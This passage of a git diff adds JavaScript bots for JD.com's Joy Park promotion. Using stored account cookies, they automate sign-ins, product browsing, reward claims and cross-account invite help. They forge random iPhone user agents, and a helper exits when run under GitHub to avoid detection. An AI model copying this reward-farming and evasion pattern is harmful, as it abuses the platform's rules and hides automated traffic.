"https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getTaskList(); + + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle}`) + await apDoTask(task.id, task.taskType, undefined); + $.log(`${task.taskTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT' || task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes !== 1) { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + break + } + } + } else if (task.taskType === 'SHARE_INVITE') { + $.yq_taskid = task.id + for (let j = 0; j < 5; j++) { + let resp = await apTaskDrawAward($.yq_taskid, 'SHARE_INVITE'); + + if (!resp.success) { + break + } + $.log("领取助力奖励成功!") + } + } + if (task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes === 1) { + $.log(`${task.taskTitle}|${task.taskShowTitle}`) + await apDoTask2(task.id, task.taskType, task.taskSourceUrl); + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + // if (task.taskType === 'SHARE_INVITE') { + // $.yq_taskid = task.id + // } + + } + } + } + + $.log("\n======汪汪乐园开始内部互助======\n") + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.newinvitePinTaskList = [...($.invitePinTaskList || []), ...($.invitePin || [])] + for (const invitePinTaskListKey of $.newinvitePinTaskList) { + $.log(`【京东账号${$.index}】${$.nickName || $.UserName} 助力 ${invitePinTaskListKey}`) + let resp = await getJoyBaseInfo($.yq_taskid, 1, invitePinTaskListKey); + if (resp.success) { + if (resp.data.helpState === 1) { + $.log("助力成功!"); + } else if (resp.data.helpState === 0) { + $.log("自己不能助力自己!"); + } else if (resp.data.helpState === 2) { + $.log("助力过了!"); + } else if (resp.data.helpState === 3) { + $.log("没有助力次数了!"); + break + } else if (resp.data.helpState === 4) { + $.log("这个B助力满了!"); + } + } else { + $.log("数据异常 助力失败!\n\n") + break + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +//任务列表 +function getTaskList() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskList`), async (err, resp, data) => { + $.log('=== 任务列表 start ===') + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 互助 + * @param taskId + * @param inviteType + * @param inviterPin + * @returns {Promise} + */ +function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=1625480372020&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + //$.log(`resolve start`) + resolve(data); + //$.log(`resolve end`) + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '', appid = 'activities_platform') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask2(taskId, taskType, itemId, appid = 'activities_platform') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`functionId=apTaskDetail&body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDetail`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDrawAward`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_park_task_Mod.js b/jd_joy_park_task_Mod.js new file mode 100644 index 0000000..2c144ab --- /dev/null +++ b/jd_joy_park_task_Mod.js @@ -0,0 +1,400 @@ +/* + +脚本默认会帮我助力开工位,介意请添加变量HELP_JOYPARK,false为不助力 +export HELP_JOYPARK="" + +更新地址:https://github.com/Tsukasa007/my_script +============Quantumultx=============== +[task_local] +#汪汪乐园每日任务 +0 0,7,9,17,20 * * * jd_joypark_task.js, tag=汪汪乐园每日任务, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true + +================Loon============== +[Script] +cron "0 0,7,9,17,20 * * *" script-path=jd_joypark_task.js,tag=汪汪乐园每日任务 + +===============Surge================= +汪汪乐园每日任务 = type=cron,cronexp="0 0,7,9,17,20 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_task.js + +============小火箭========= +汪汪乐园每日任务 = type=cron,script-path=jd_joypark_task.js, cronexpr="0 0,7,9,17,20 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园每日任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +$.invitePin = [ + "" +] +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.openIndex = 0; + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + // if ($.isNode()) { + // if (process.env.HELP_JOYPARK && process.env.HELP_JOYPARK == "false") { + // } else { + // $.kgw_invitePin = ["7zG4VHS99AUEoX1mQTkC9Q"][Math.floor((Math.random() * 1))]; + // let resp = await getJoyBaseInfo(undefined, 2, $.kgw_invitePin); + // if (resp.data && resp.data.helpState && resp.data.helpState === 1) { + // $.log("帮【zero205】开工位成功,感谢!\n"); + // } else if (resp.data && resp.data.helpState && resp.data.helpState === 3) { + // $.log("你不是新用户!跳过开工位助力\n"); + // break + // } else if (resp.data && resp.data.helpState && resp.data.helpState === 2) { + // $.log(`他的工位已全部开完啦!\n`); + // $.openIndex++ + // } else { + // $.log("开工位失败!\n"); + // } + // } + // } + await getJoyBaseInfo() + if ($.joyBaseInfo && $.joyBaseInfo.invitePin) { + $.log(`${$.name} - ${$.UserName} 助力码: ${$.joyBaseInfo.invitePin}`); + $.invitePinTaskList.push($.joyBaseInfo.invitePin); + } else { + $.log(`${$.name} - ${$.UserName} 助力码: null`); + $.invitePinTaskList.push(''); + $.isLogin = false + $.log("服务端异常,不知道为啥有时候这样,后面再观察一下,手动执行应该又没问题了") + continue + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getTaskList(); + + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle}`) + await apDoTask(task.id, task.taskType, undefined); + $.log(`${task.taskTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT' || task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes !== 1) { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + break + } + } + } else if (task.taskType === 'SHARE_INVITE') { + $.yq_taskid = task.id + for (let j = 0; j < 5; j++) { + let resp = await apTaskDrawAward($.yq_taskid, 'SHARE_INVITE'); + + if (!resp.success) { + break + } + $.log("领取助力奖励成功!") + } + } + if (task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes === 1) { + $.log(`${task.taskTitle}|${task.taskShowTitle}`) + await apDoTask2(task.id, task.taskType, task.taskSourceUrl); + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + // if (task.taskType === 'SHARE_INVITE') { + // $.yq_taskid = task.id + // } + } + } + } + + $.log("\n======汪汪乐园开始内部互助======\n======有剩余助力次数则帮zero205助力======\n") + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.newinvitePinTaskList = [...($.invitePinTaskList || []), ...($.invitePin || [])] + for (const invitePinTaskListKey of $.newinvitePinTaskList) { + $.log(`【京东账号${$.index}】${$.nickName || $.UserName} 助力 ${invitePinTaskListKey}`) + let resp = await getJoyBaseInfo($.yq_taskid, 1, invitePinTaskListKey); + if (resp.success) { + if (resp.data.helpState === 1) { + $.log("助力成功!"); + } else if (resp.data.helpState === 0) { + $.log("自己不能助力自己!"); + } else if (resp.data.helpState === 2) { + $.log("助力过了!"); + } else if (resp.data.helpState === 3) { + $.log("没有助力次数了!"); + break + } else if (resp.data.helpState === 4) { + $.log("这个B助力满了!"); + } + } else { + $.log("数据异常 助力失败!\n\n") + break + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +//任务列表 +function getTaskList() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body=%7B%22linkId%22%3A%22LsQNxL7iWDlXUs6cFl-AAg%22%7D&appid=activities_platform`, `apTaskList`), async (err, resp, data) => { + $.log('=== 任务列表 start ===') + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 互助 + * @param taskId + * @param inviteType + * @param inviterPin + * @returns {Promise} + */ +function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=1625480372020&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + $.log(`resolve start`) + resolve(data); + $.log(`resolve end`) + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '', appid = 'activities_platform') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask2(taskId, taskType, itemId, appid = 'activities_platform') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`functionId=apTaskDetail&body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDetail`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDrawAward`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 